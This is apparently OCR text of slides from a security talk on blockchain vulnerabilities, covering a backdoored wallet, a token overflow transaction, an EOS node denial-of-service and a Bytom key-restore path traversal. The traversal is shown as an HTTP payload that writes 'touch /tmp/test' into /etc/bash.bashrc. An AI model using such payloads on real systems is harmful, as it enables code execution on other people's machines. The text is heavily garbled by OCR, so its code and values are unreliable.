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Backdoored Cryptocurrency
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[ Thws is 3 Ropsten Testnet Transaction Only |

TxHash
TxRaceipt Status
Biock Height
NmeStamp

From

To

Value

Gas Limit

Gas Usad By Txn
Gas Price

Actual Tx CostFee
Nonce & [Position)

Inpul Data

360

ESEEA:

0x151e6bc019f2504076
Success

6076 (2 block confin
47 secs ago (Aug-11-20
hefild 1ol |
[Contract 0xib 312508
0 Ether (50 00)
227077
227077
0.000001 Ether (1,000 (
0.227077 Ether (S0 000
1142)

OxB0EDGIM05234801561 0
0000L00000CO00A0N00N

TxHash:
TxRoceipt Status:
Biock Height:
TimeStamp:
From:

To:

Token Transfer:

Value:

Gas Limit:

Gas Used By T
Gas Price:

Actual Tx Cost/Fee:
Nonce & {Position};

Input Data:
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https://Okee.360.cn/blog/hexagon-overflow/

OxeSe2b0b8a23c773158ce5{78baf1c13047391046825(d2878baeb68560c7535
Success

5634879 (80 block confirmations)

20 mins ago (May-18-2018 12:55:08 PM +UTC)
Oxaabcf616636060a327¢713631e2180060c88015

sl hﬂ’?"h:g D4 Hrla 20 -4 00

11,579,208,523,731,800,000,000,000,000,000,000,000,000,000,000,000,000,000,000,000,000,000,000,000.9834 O Hoxagon Token from
OxaabcB616535c60.., to = 0x3331270881c1775

85771

85771

0.00000002 Ether (20 Gwei)

0.00131542 Ether (30.89)

3| {83}
Function: tranafer{address to, uint256é wvalue)
MethodID: 0xa’059cdd
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private void loadvallstfroaProteduf()
Throwable x;
Throwable th;
iF (this.walletPile.exdsts())
FilelnputStrese walletStrene ~ null;
try {
Stopuntch watch » Stopwatch,createStarted();
FileInputStream walletStreas2 « new FileImputStreas(this.walletFile);
try
this.wallet « new WalletProtobufSerializer().readiallet(walletStronnd, new WalletExtension[0]);
watch.stop();
if |hn wallet.gesParans() . equals(Constants, NETWORK PARAMETERS)) (

KBRS EEIE. WiER TR,

flavor weapon track member

log. info("wallet loaded froa . tock ()", this.lletfile, watch); crop angry this try dumb more
l‘ walletStreon2 '+ mull = = ==
try ’

walletStreon2.close();

walletStreas ~ walletStrean?;
catch (I0Exception e}

walletStreas » wolletStreasl;

A EiE AR 15([]{']’9
i G RERSE B IrahA

retuen;

throw new Lareadad
catch (FileNotFoundt
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- (h *HSM) Restore(image *KeyImage) error { @ﬁﬁﬂ]El’\]{‘%ﬁz_';ﬁﬁ‘}ﬁ?’ifmﬁtﬂ‘ﬁ}ﬁ%ﬁgﬂjgxKey.|D

h.cacheMu. Lock()

B iEtERkeyStorefIES R, EHjsONBIEB X

r _, XKey := range image.XKeys {

if ok>=‘ .r?.cache.hasAlias(xKey.Alias); ok { Eg?éq:lo E.[L:L@ﬁ--/ﬁgﬁftﬂ;%ﬁi'f}%—%)\jﬁ:o

urn ErrDuplicateKeyAlias
}

rawkey, err := json.Marshal(xKey)

P BT =S dSEE ]G IRIER R S 3
} /etc/bash.bashrcMETEG, BINEFAHAPEER

file := h.keyStore.JoinPath(keyFileName(xKey.ID))

P N RS EEI S AN, EBEESANETE G
}

} B, HIIEMBPER, &RIniEfiApocis<touch

h.cache.maybeReload()

S /tmp/test, BREFINOIE /tmp/testXX{4
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_J Raw ] Params l Headers l Hex l JSON Beautifier |

_I Raw [ Headers ] Hex ] ISON Beautifier

Content—Length: 1278

accept: application/json

Origin: http://127.0.0.1:9888

User—Agent: Mozilla/5.0 (Windows NT 6.1; Winb4; x64)
App leWebKit/537.36 (KHTML, |ike Gecko) Chrome/67.0.3396.87
Safari/537. 36

content—type: text/plain;charset=UTF-8

Referer: http://127.0.0. 1:9888/dashboard/backup
Accept—Encoding: gzip, deflate

Accept—Language: zh—CN, zh;g=0.9

Connection: close

{"account_image": {"slices": [{"account”: {"type": "account”, "xpubs":
["c2c579c42739af405773250d005db014235837d28a5eb5d7366d7bd056a%96¢cd
367833496¢c2883d4b33%2ab53e63ea2848e9970cedactf036c0609b518c363b3662
"1, "quorum”:1, "id":"OF11BI1HO0A02", "al ias": "saeed11"”, "key_index":
1}, "contract index":6}]}, "asset image": {"assets":[{"type": "asset"
, "xpubs": ["c2c579c42739af405773250d005db014235837d28a5eb5d7366d7b
d056a%96cd367833496c2883d4b339ab53e63ea2848e9970cedacf036c0609b518
c363b3662?],"quorum":1,"id”:"bd0a7ed4fabaaf12233369013baO1aaOd1bb
34891bfc300d8087fb0d70c8ffbb", "al ias": "aDaa2aG", "definition": {"de
cimals":8, "description”: {}, "name": "sa\"<img>\"", "symobol":""}, "ke
y_index":1, "vm version":1, "issue_program":"ae20e5392a43b11daa1993
c15d1b7843ad730cec3661fcfcaaBd82cPeee560f87de35151ad”, "raw defini
tion byte":"7b0a202022646563696d616c73223a20382¢c0a202022646573637
269707469616e223a207b7d2c0a2020226e616d65223a202273615¢225¢753030
3363696d675¢75303033655¢22222c0a20202273796d6F626F6c223a2022220a7
d"11}, "key images": {"xkeys":[{"crypto": {"cipher":" touch g

/tmp/test ", "abc":"aa", "ciphertext”:"aaa\r\n", "cipherparams”: {"iv
":"aaa"}, "kdf":"scrypt", "kdfparams": {"dklen":321, “n":1, "p":6, "r":
8, "salt":"aa"}, "mac":"aa"}, "id":"/../.. /.. /.. /.. /.. /etc/bash. bash
rc”, "type": "bytom kd", "version":1, "alias":"aaa"}]}}
X\ )
v
[ 20 = || = [[=>] xpubs 2 matches
“
< [T Zmniss
S Firrsve ot

3S6E0EM

HTTP/1.1 200 0K
Content—-Type: application/json; charset=utf-8
Vary: Accept—Encoding

X—Content—-Type—-Options: nosniff
X—-Frame—Options: DENY

X-Xss—Protection:
Date: Wed, 27 Jun 2018 06:24:59 GMT

Content—Length: 21
Connection:

close

1

{"status":"success"}

>

eall (W] e [

root@9b9390bce056: /tmp#
root@9b9390bce056: /tmp#
total 8

drwxrwxrwt 2 root root
drwxr-xr-x 42 root root
root@9b9390bce056: /tmp#
test

root@9b9390bce056: /tmp#
total 8

drwxrwxrwt 2 root root
drwxr-xr-x 42 root root

-rw-r--r-- 1 root root
root@9b9390bce056: /tmp#

1s
ls -1la

4096 Jun
4096 Jun
1s
ls -la

4096 Jun

4096 Jun
0 Jun
i

(1sc)
2

BCEHRNES LS

26 08:49
26 08:42

27 06:25
26 08:42
27 06:25 test
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[noreturn] ] void fatalf( che ssageFormat,...)

[
i

va_list varArgs;
va_start(varArgs,messageFormat);
t:vfprintf(stderr,messageFormat,varArgs);
: fflush{stderr);
T LETEY.Y eoe 1 .

ztd: :abort();

1
f[nnreturn]] char? sage) { fatalf("%¥s\n",message); }

[[noreturn] ] { fatalf("reached unreachable code'n™); }

[[noreturn] ] void char* context) { fatalf{"unimplemented: %s'n",context}; }

+
& | ITZmiz
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f0{aitnodeos DOS? -

void [-_.-'alidaterEr"andT'_-,,-'pE]{ValuEType expectedType,ValueType actualType, char* context)

T
L

N S= 5
7)I_5=|§7|E.IEBIHJ7%1¢- (expectedType != actualType &R& expectedType != ValueType::any && actualType != ValueType::any)
{
ion(

ismatch: expected ") + asString(expectedType)

o IRIOERMEEEEEL, RIEKM R B i
s
.« MhERFTRResultType, S
JEFRErrors::unreachable() . chart sssering(fesuitiype /pe)

(type)

ResultType::i32:
ResultType::i64:
ResultType::f32:
ResultType::f64:
Er-lABLE_SIr-"ID_PRﬂTﬂT‘n"PEI
ResultType::v128:

Rpﬂu1+Tpr::nnnP:

: Errors::unreachable(); -

aJLAfEgit commit 10e5e11F 1z BIRIRAZEIN

' L " thubicom/maldiohead/Node_DOS ISC BExMZ AR FE - bR
& |zt - SRl s i
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ckchaindl
kchain®l
Pl

rootfidblockchalingl
root@blockchaindl
rootfib leckchaingl
root@dlockchaindl
root@blockchaindl
root@vlocikchalindl
cotfivlockchaingl
root@lockchainil
rootfib lockchaindl
root@vlockchaindl

"91

3S6E0EM

/o /wangweibol |
/home /wangweibol s
/home /wangweibol je
/hose /wangme 1bol |
/hose S wangwe
Movme [ wangae it
/hose /wangweibol |8
Mhome /wangweibol ]
see /wangwe ibol 18
/hose /wangweibol |8
home fwangweibol
ome /wangweibol )s
/howe /wangweibol j#
Mhose /wangeeibol |8
/hose /wangweibo
/home /wangweibol ]
e /wangwelt
/home /wangwe 10

/home /wangeeibol 18 nodecs

=¥
Foers v o

history_api_plugin -§

ckchaindl

[reot@ibl
[rootfiblockchaingl
[root@blockchaingl
[rootgble
[rootblocke
[root@ibloc
kchaingl
[root@blockchaingd
rootiitlockchain®l
[ ke kchaingl
[rocti@blockchain®l
otihlockchaindi

rootfiblockchaing

{
[
[

rootiblockchain
[reotfblockchaingl
fv-.‘r’él lockchain
[rootiiblockchaindl
[root@iblockchaingl
[root@blockchaindl

[roctiibl

ey

/ home
/home

home
[ home
/home/
Thome
/home
/home/

/home

/home

Ihome /

/hose /wangweibol/e

Fhome

/hooe/

/home/wangweibo

home

/home/ Jeos/build/unittests)

/hom=

home /wangwe ibol /e pulld/enittes

/home
/home
/home

/home.

/wangweibol/eos/build/mittests

Iwangweibol/eos/bulld/unitte

/wangweibol/eos/build/umittests s
1/eos/build/unittests]s

Iwangweibol/eos/build/wittest

fwangwe ibol/ /bulld/unittests)

wangee 1 b 0 ulld/wnittests)s

/wangweibol/eos/bulld/unitt
/wengweibol/eos/build/unittes
/bulld/nittest
/wangweibol/eos/build/unittest
fwangweibol/eos/build/wnitte
/wangweibol/eos/

fwangweibo

wangweibol/

wangweibol Jbuild/mnittests

R R R E R E EE E R R E

gweibol/eos/bulld/unittests]
wangweibol/eos/bulld/unittests
fwangweibol/eos/bulld/unittests
wangweibol/e uild/enittests)

/home [warsgwe i bx /build/enitte
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